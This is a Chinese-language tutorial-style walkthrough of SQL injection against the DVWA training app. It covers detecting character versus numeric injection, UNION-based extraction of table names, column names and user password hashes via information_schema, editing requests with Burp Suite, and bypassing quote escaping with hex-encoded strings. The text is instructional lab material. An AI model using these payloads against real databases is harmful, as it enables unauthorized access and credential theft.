SQL 注入是比較常見的攻擊型別,之前一直聽說過,也嘗試看過一些教學,但其中的單引號,字串拼接等感覺有點抽象,不知道為什麼要這麼做。這次就使用 DVWA 的環境來演練一下吧。
在這裡我們的目標是獲取所有的使用者名稱和密碼(雖然不是明文)
開啟 SQL Injection 頁面,將級別調整為 Low。
正常情況下,我們輸入 1,點選 submit 按鈕,就會得到這個使用者的使用者名稱資訊:
此時我們輸入 1 AND 1 = 1,再次點選 Submit 按鈕,發現並沒有報錯。而我們輸入 1' 再點選按鈕後,會提示錯誤:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
說明網頁程式將我們的輸入內容放入了資料庫的查詢語句中,即存在可以注入的地方。
SQL 注入分為 數位型注入,字元型注入 等等多種型別。數位型注入 意思為查詢條件為數位型別,同樣 字元型注入 意思為查詢條件是字元(串)型別的。在我們的場景中,是輸入單了引號才報錯,說明是 字元型注入。
根據網頁上的業務可以大致猜測一下查詢語句為:
SELECT * FROM 使用者表 WHERE 使用者ID = '傳入的值';
為了驗證猜想,我們傳入 1' OR 1 = 1 #,第一個 ' 用於閉合之前的引號,後面的 # 號 用於註釋SQL語句後面的內容(原查詢語句中的 ' 和 可能的後面內容)。實際執行的 SQL 語句即為:
SELECT * FROM 使用者表 WHERE 使用者ID = '1' OR 1 = 1 #';
可以看到執行成功,符合我們的預期。
我們需要判斷下返回當前結果的這條查詢語句的實際查詢欄位情況。拼接上 1' UNION SELECT 1, 2 #,並嘗試往後逐步增加列數。這裡利用的是 Union 操作要求查詢的欄位數量相等。實際執行的 SQL 語句為:
SELECT f1, f2 ...... FROM 使用者表 WHERE 使用者ID = '1' UNION SELECT 1, 2 #';
如果拼接上 Union 查詢語句沒報錯,則可以確定查詢欄位的數量。根據結果中1,2的順序(我們拼接進去的),可以確定返回欄位的順序。此處只有兩個,比較簡單。
此處也可以通過 Order By 來判斷。Order By 後面加數位,表示按照查詢出來的第幾列排序,如 Order By 2,意思為按照查詢出來的第 2 列排序,而如果沒有這麼多列,就會有報錯資訊。據此可以判斷查詢出的列數量。
由於我們的目標是查詢使用者表中的使用者名稱和密碼,因此我們需要找到對應的資料庫,對應的表,對應的欄位。對於 MySQL 資料庫,這些內容儲存在 information_schema 這個資料庫中。
首先利用 Union,查出當前資料庫中所有的表。輸入 ' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #。MySQL 內建的group_concat 函數可以將多個列組合起來。(此時不在 ' 前輸入既有的 id 的值 1,這樣可以避免查出我們不需要的資料,只需一行就得到了結果)
可以看到當前資料庫中有 guestbook 和 users 這兩張表。顯然我們的目標就是 users 表了,繼續查詢這個表中有哪些列。輸入 ' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' # ,得到結果:
距離目標已經很近了!繼續輸入 ' union select 1,group_concat(concat(user, '-', password)) from users #,得到結果:
Low 的目標達成(怎麼感覺怪怪的)!接下來探索 Medium 難度吧!
將難度調整為 Medium,可以看到已經沒有了輸入框,變成了下拉選擇:
其實對於 WEB 頁面來說,無論是輸入框,還是下拉選擇,或者是其它方式,最終反映到與後端伺服器的互動,都是通過 HTTP 請求(當然還有 WebSocket)。如果我們可以攔截這些請求,並嘗試修改,不是一樣可以達到注入的目的嗎。我們可以使用 Burp Suite 來實現這個操作(Burp Suite 有很多其它的功能,這裡用得比較簡單)。
因為還有很多攻擊的形式沒有嘗試,考慮到操作便捷性和以後的使用,這裡使用了另一臺安裝了 Kali Linux 的虛擬機器器,其中包含了很多其它的工具。請務必在法律允許的範圍內使用!!!
從官方網站下載 Kali Linux 針對 Vmware 虛擬機器器的映象,並啟動即可。預設的使用者名稱和密碼都是 kali。
我們需要先設定瀏覽器,讓所有的流量都通過 BurpSuite (預設 8080 埠),這樣才能攔截的到。開啟 Firefox 瀏覽器(火狐大法好,破音),在 General 中找到 Network Settings,並設定代理為 localhost,埠號為 8080,如圖:
在 Firefox 瀏覽器中開啟我們的 DVWA 站點,調整 DVWA Security 中的難易度為 Medium,並開啟我們要操作的 SQL Injection 頁面。之後開啟 BurpSuite,在 Proxy 一欄點選 Intercept is off 以開啟攔截器。隨後在 Firefox 瀏覽器中的流量都會被 BurpSuite 攔截。
點選 DVWA 頁面的 submit 按鈕,可以在 Burp Suite 中看到如圖所示的結果:
可以看到我們選擇的引數被放在了紅框所示的位置,接下來像在 Low 裡面一樣將注入的內容拼接到此處即可。
將 id=1 修改為 id=1' OR 1 = 1 #,並點選 Forward 按鈕放行流量,可以看到 Firefox 瀏覽器中提示報錯:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' OR 1 = 1 #' at line 1
這說明該注入漏洞不再是字元型注入了。嘗試數位型注入,將 id=1 修改為 1 OR 1 = 1 #,再次放行流量,發現沒有報錯,網頁展示了很多使用者的資訊,驗證了 數位型注入 的猜測。
之後的思路和在 Low 裡面的基本一樣,唯一的不同是輸入的內容在 BurpSuite 中修改。
將 id=1 修改為 0 UNION SELECT 1, 2 #,沒有報錯,確定查詢語句查詢的欄位數量是 2 個,同時確定欄位順序。
查詢資料庫中所有的表,替換為:
0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
需要注意的是,前面必須要帶有值 0。 因為字元型注入可以直接用 ' 閉合為空字串,而數位型注入如果沒有值,我們替換後實際的執行語句就變成了: SELECT * FROM 表名 WHERE id = union select 1 ........ 這樣,會造成語法錯誤。
檢視表中所有的列。替換為:
0 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
此時發生了錯誤。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'users\' #' at line 1
可我們並沒有傳入 \'users\' 這樣的東西進去。通過分析或者檢視下DVWA的原始碼(/var/www/html/vulnerabilities/sqli/source/medium.php)發現,此時將單引號跳脫了:
此時可以通過將字串轉換為十六進位制來繞過跳脫。通過線上工具將字串 users 轉換為 7573657273,修改我們的拼接為:
0 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 #
可以看到此時得到了我們想要的結果:
獲取使用者名稱和密碼。替換為:
0 union select 1,group_concat(concat(user, 0x2d, password)) from users #
原來的 '-' 也替換為了對應的十六進位制 0x2d。獲取到了結果:
Medium 的目標也達成了!!!
檢視頁面和原始碼發現,實際與之前的 Low 幾乎一樣,只是通過彈出頁面,利用 Session 傳值。而且多了一個 LIMIT 1,限制了返回數量只有1條而不是多條,如圖:
而按照我們之前的注入操作都是一行返回,因此我們輸入:
' union select 1,group_concat(concat(user, '-', password)) from users #
即可達成結果。
Impossible 難度旨在為我們提供一個比較安全的程式碼範例:
調整為 Impossible 難度,實際是很難注入的了。
DVWA-------簡單的SQL隱碼攻擊
DVWA之SQL隱碼攻擊
DVWA SQL Injection SQL隱碼攻擊全等級分析與實踐
DVWA-7.4 SQL Injection(SQL隱碼攻擊)-Impossible